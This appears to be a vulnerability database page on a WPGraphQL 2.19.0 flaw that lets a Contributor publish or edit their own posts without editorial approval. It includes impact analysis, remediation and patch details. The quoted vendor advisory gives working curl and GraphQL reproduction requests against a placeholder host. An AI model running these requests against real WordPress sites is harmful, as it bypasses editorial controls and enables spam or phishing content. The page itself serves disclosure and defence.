Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessObtain Contributor account credentials
-
DeliveryAuthenticate to /graphql endpoint
-
ExploitSend updatePost mutation with status PUBLISH
-
ExecutionBypass publish_posts/edit_post capability checks
-
ImpactPublish or alter content without editorial approval
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V8 - Authorization Authorization logic validation
MITRE ATT&CK
1 technique across 1 tactic: Privilege Escalation The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Requires an authenticated WordPress Contributor account (or higher, since Contributors have edit_posts but lack publish_posts/edit_published_posts) able to reach the /graphql endpoint, authenticating via an Application Password over HTTPS or a login cookie with a valid wp_graphql/wp_rest nonce. WPGraphQL 2.19.0 must be installed and active; the flaw is present under DEFAULT settings, so no non-default configuration is needed. Limiting factors: the attacker must already possess valid Contributor credentials (no unauthenticated path), and impact is confined to the attacker's OWN posts - they cannot modify other authors' content, escalate role, gain admin, or execute code. |
| Impact | This is a genuine but bounded-severity issue, correctly rated MEDIUM. The provided CVSS 3.1 vector (AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L, score 5.4) is internally consistent with the description: network-reachable /graphql endpoint, low complexity, but requires an authenticated Contributor account (PR:L), which is the primary limiting factor. No EPSS score, no CISA KEV listing, and no weaponized public exploit are provided - status is 'no public exploit identified at time of analysis' (the advisory contains step-by-step reproduction commands, but reproduction steps in a vendor GHSA are not the same as in-the-wild exploitation). Impact is integrity-focused (I:L: publishing/editing content outside the editorial workflow) with minor availability effect (A:L: attacker can pull their own approved posts from view); there is explicitly no confidentiality impact, no cross-author modification, no privilege escalation, and no code execution. Note a tag/data conflict: the input Tags list 'RCE', but this CVE is a pure authorization bypass - the RCE actually belongs to the separate CVE-2026-18944/GHSA-7922 that happens to be fixed in the SAME pull request (#4270), so 'RCE' does not apply here. The signals do not conflict on severity: absence of KEV/EPSS/POC plus a required authenticated role and low technical impact all point to a real-but-low-urgency editorial-integrity bug, not an emergency. |
| Exploit ScenarioDerived | An attacker who holds or has compromised a standard WordPress Contributor account authenticates to the site's /graphql endpoint (via Application Password or login cookie plus nonce) and issues an updatePost mutation setting one of their own drafts to PUBLISH, bypassing the editorial review that the Contributor role is supposed to enforce. The same mutation lets them rewrite the title and content of one of their own posts even after an Editor has already approved and published it. No public weaponized exploit exists, but the vendor advisory provides working reproduction requests, so exploitation is straightforward for anyone with the required Contributor credentials. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Sep 23, 2026
Improper authorization in the WPGraphQL WordPress plugin's updatePost GraphQL mutation allows an authenticated Contributor to publish their own draft posts without the publish_posts capability and to edit their own already-published posts without edit_published_posts, bypassing the site's editorial approval workflow. Confirmed in WPGraphQL 2.19.0 under default settings; the equivalent requests against the WordPress REST API are correctly rejected with rest_cannot_publish and rest_cannot_edit. Impact is bounded - the attacker must already hold a valid Contributor account (unauthenticated exploitation is not possible), can only touch posts they own, and cannot escalate privileges, modify other authors' content, or execute code; no public exploit code was identified at time of analysis, and the issue is rated MEDIUM (CVSS 5.4, AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L).
RemediationAI
Vendor-released patch: upgrade WPGraphQL to version 2.22.2 or later - the fix is carried in the release tag https://github.com/wp-graphql/wp-graphql/releases/tag/wp-graphql%2Fv2.22.2 via PR https://github.com/wp-graphql/wp-graphql/pull/4270 and commit https://github.com/wp-graphql/wp-graphql/commit/55441663eaa33c3f2e05de038c8286c845916461, which adds the object-level edit_post check and the publish_posts status-transition gate to updatePost. Applying that release also picks up the unrelated callable-string guard for CVE-2026-18944, so it is the single recommended action. If an immediate upgrade is not possible, compensating controls are limited and carry trade-offs: disable or unregister the updatePost mutation (for example by filtering the mutation registration) - this blocks the bypass but also breaks legitimate post editing for all GraphQL clients, including Editors and Administrators; restrict access to the /graphql endpoint at the web server or WAF to trusted IP ranges or service accounts - effective only if all legitimate clients can be enumerated, and it does nothing for compromised Contributor accounts inside the allowed range; or temporarily suspend Contributor accounts and downgrade them to Subscriber - safe but removes their legitimate ability to submit drafts for review. The cleanest interim control is to review post status changes server-side (e.g. audit wp_update_post calls or revoke Contributor publishing paths) since the WordPress REST API itself correctly enforces these capabilities and can be used as the authoritative reference behavior. Consult https://github.com/wp-graphql/wp-graphql/security/advisories/GHSA-5mmc-8pc9-wggg for the vendor's statement and to confirm the exact fixed release.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 2 packages in composer, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
WPGraphQL exposes WordPress content and mutations over a GraphQL endpoint at /graphql. The flaw is CWE-863 (Incorrect Authorization): src/Mutation/PostObjectUpdate.php verifies only the post type's collection-level capability (cap->edit_posts) and a same-author check, but omits WordPress's object-level meta capability check, current_user_can( $post_type_object->cap->edit_post, $post_id ), which WordPress maps to edit_published_posts once a post is published. It also forwards the requested post_status straight into wp_update_post() without gating public statuses on publish_posts - wp_update_post() assumes its caller already performed authorization. By contrast, the sibling createPost mutation does check publish_posts and silently downgrades unauthorized status changes to pending, and the WordPress REST API returns rest_cannot_publish / rest_cannot_edit for the same user and operations. The authorization pattern appears in earlier source history but only 2.19.0 was independently tested (on WordPress 7.0.2, default plugin configuration). Note that the patch PR #4270 also bundles a defense-in-depth guard in src/Model/Model.php for an unrelated issue, GHSA-7922 / CVE-2026-18944, where memoized callable strings could be invoked; the 'RCE' tag attached to this record belongs to that sibling fix and does not describe the impact of CVE-2026-88974, which provides no code execution.
Know when PHP gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L
Network-reachable GraphQL endpoint (AV:N/AC:L) but needs an authenticated Contributor (PR:L); integrity impact from unauthorized publish/edit (I:L) and minor availability from removing own posts (A:L); no data disclosure (C:N).
Primary rating from Vendor (https://github.com/wp-graphql/wp-graphql).
CVSS VectorVendor: https://github.com/wp-graphql/wp-graphql
DescriptionCVE.org
Summary
WPGraphQL 2.19.0 contains an authorization bypass in the updatePost mutation. An authenticated WordPress Contributor can change one of their own draft posts to PUBLISH despite lacking the publish_posts capability. The same mutation also permits the Contributor to modify their own previously published posts despite lacking edit_published_posts and failing WordPress's object-level edit_post capability check.
This bypasses the standard WordPress editorial workflow. The WordPress REST API correctly rejects the equivalent operations for the same user.
Affected software
- Plugin: WPGraphQL
- Plugin slug:
wp-graphql - Confirmed affected version:
2.19.0 - Plugin URL: https://wordpress.org/plugins/wp-graphql/
- Repository: https://github.com/wp-graphql/wp-graphql
- WordPress version used for testing:
7.0.2 - WPGraphQL configuration: default settings
Only version 2.19.0 is claimed as confirmed because that is the version tested. The same authorization pattern appears in earlier source history, but those releases were not independently tested.
Vulnerability type
- Broken access control / authorization bypass
- CWE-863: Incorrect Authorization
- OWASP 2021: A01 - Broken Access Control
- Minimum required role: Contributor
Technical cause
src/Mutation/PostObjectUpdate.php checks only the post type's collection-level edit_posts capability:
if ( ! isset( $post_type_object->cap->edit_posts ) || ! current_user_can( $post_type_object->cap->edit_posts ) ) {
// Reject request.
}It separately prevents a user from changing another author's post, but it does not perform WordPress's object-level check:
current_user_can( $post_type_object->cap->edit_post, $post_id )It also does not check publish_posts when the requested update changes the post status to publish. The mutation passes the requested status directly to wp_update_post(), which expects its caller to have already enforced authorization.
By comparison, WPGraphQL's createPost implementation explicitly checks publish_posts and changes an unauthorized requested status to pending. This protection is absent from updatePost.
Preconditions
- WPGraphQL 2.19.0 is installed and activated using its default settings.
- The attacker controls a normal WordPress Contributor account.
- The attacker can authenticate to
/graphql, for example with an Application Password over HTTPS or with their WordPress login cookie and a validwp_graphql/wp_restnonce.
No administrator action beyond assigning the standard Contributor role is required. The Contributor role has edit_posts, but does not have publish_posts or edit_published_posts.
Reproduction
The following requests use an Application Password for concise remote reproduction. Replace the URL, username, and Application Password with values from the test installation. WordPress Application Passwords should be tested over HTTPS.
1. Create a draft as the Contributor
curl --user 'gql_contributor:APPLICATION_PASSWORD' \
-H 'Content-Type: application/json' \
--data-binary '{"query":"mutation { createPost(input:{title:\"Contributor publication bypass test\", content:\"Created by a Contributor and not reviewed by an editor.\", status:DRAFT}) { post { databaseId title status } } }"}' \
'https://wordpress.example/graphql'Example response:
{
"data": {
"createPost": {
"post": {
"databaseId": 21,
"title": "Contributor publication bypass test",
"status": "draft"
}
}
}
}Record the returned databaseId. The example below uses 21.
2. Verify that WordPress REST denies publication
Using the same Contributor credentials, attempt to publish the draft through the WordPress REST API:
curl --user 'gql_contributor:APPLICATION_PASSWORD' \
-H 'Content-Type: application/json' \
--data-binary '{"status":"publish"}' \
'https://wordpress.example/wp-json/wp/v2/posts/21'Expected control response:
{
"code": "rest_cannot_publish",
"message": "Sorry, you are not allowed to publish posts.",
"data": {
"status": 403
}
}This establishes that the Contributor lacks the WordPress capability required for the operation.
3. Publish the same draft through WPGraphQL
curl --user 'gql_contributor:APPLICATION_PASSWORD' \
-H 'Content-Type: application/json' \
--data-binary '{"query":"mutation { updatePost(input:{id:\"21\", status:PUBLISH}) { post { databaseId title status uri } } }"}' \
'https://wordpress.example/graphql'Observed response on WPGraphQL 2.19.0:
{
"data": {
"updatePost": {
"post": {
"databaseId": 21,
"title": "Contributor publication bypass test",
"status": "publish",
"uri": "/contributor-publication-bypass-test/"
}
}
}
}The post is now publicly accessible without editorial approval.
4. Verify public exposure remotely
Open the returned uri without authentication, or query it without credentials:
curl -H 'Content-Type: application/json' \
--data-binary '{"query":"query { post(id:\"21\", idType:DATABASE_ID) { databaseId title status uri } }"}' \
'https://wordpress.example/graphql'The post is returned with status publish.
Additional affected operation
If an editor previously published a post owned by the Contributor, WordPress no longer allows that Contributor to edit it because Contributors lack edit_published_posts. Nevertheless, the following mutation changes its title and content:
mutation {
updatePost(input: {
id: "PUBLISHED_POST_DATABASE_ID"
title: "Unauthorized change after editorial approval"
content: "The Contributor can replace previously approved content."
}) {
post {
databaseId
title
status
}
}
}In live testing, the REST API returned 403 rest_cannot_edit for this operation while WPGraphQL returned the modified published post.
Security impact
A compromised or malicious Contributor account can bypass the site's editorial approval boundary and:
- Publish arbitrary posts without an Editor or Administrator approving them.
- Publish spam, phishing, misleading, or SEO content under the attacker's account.
- Modify content after an Editor has reviewed and published it.
- Change the status of the attacker's previously published posts, potentially removing approved content from public view.
- Repeat the process for additional drafts because Contributors can normally create drafts.
The issue affects the integrity of public site content and can affect availability of posts authored by the attacker. It does not allow modification of another author's posts, role escalation, administrator access, arbitrary code execution, or direct access to secrets. Normal WordPress content sanitization still applies to the Contributor's submitted HTML.
Suggested remediation
Before updating a post, enforce the post type's object-level meta capability with the target post ID, equivalent to WordPress REST behavior:
if (
! isset( $post_type_object->cap->edit_post ) ||
! current_user_can( $post_type_object->cap->edit_post, $post_id )
) {
throw new UserError( /* authorization error */ );
}Status transitions should also enforce the relevant post type capabilities. In particular, changing a post to a public/future status should require the post type's publish_posts capability. Tests should cover at least:
- Contributor updating their own draft: allowed.
- Contributor publishing their own draft: denied or changed to
pending. - Contributor editing their own previously published post: denied.
- Author publishing and editing their own post: allowed.
- Contributor editing another author's post: denied.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
In PHP versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 in certain configurations of FPM setup it
sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not
(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear
The '/common/download_agent_installer.php' script in the Quest KACE System Management Appliance 8.0.318 is accessible by
ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C
Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au
Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c
Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows
The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1
EUVD-2026-85310
GHSA-5mmc-8pc9-wggg
NVD
CVE.org
EPSS
Vulnrichment
Exploit-DB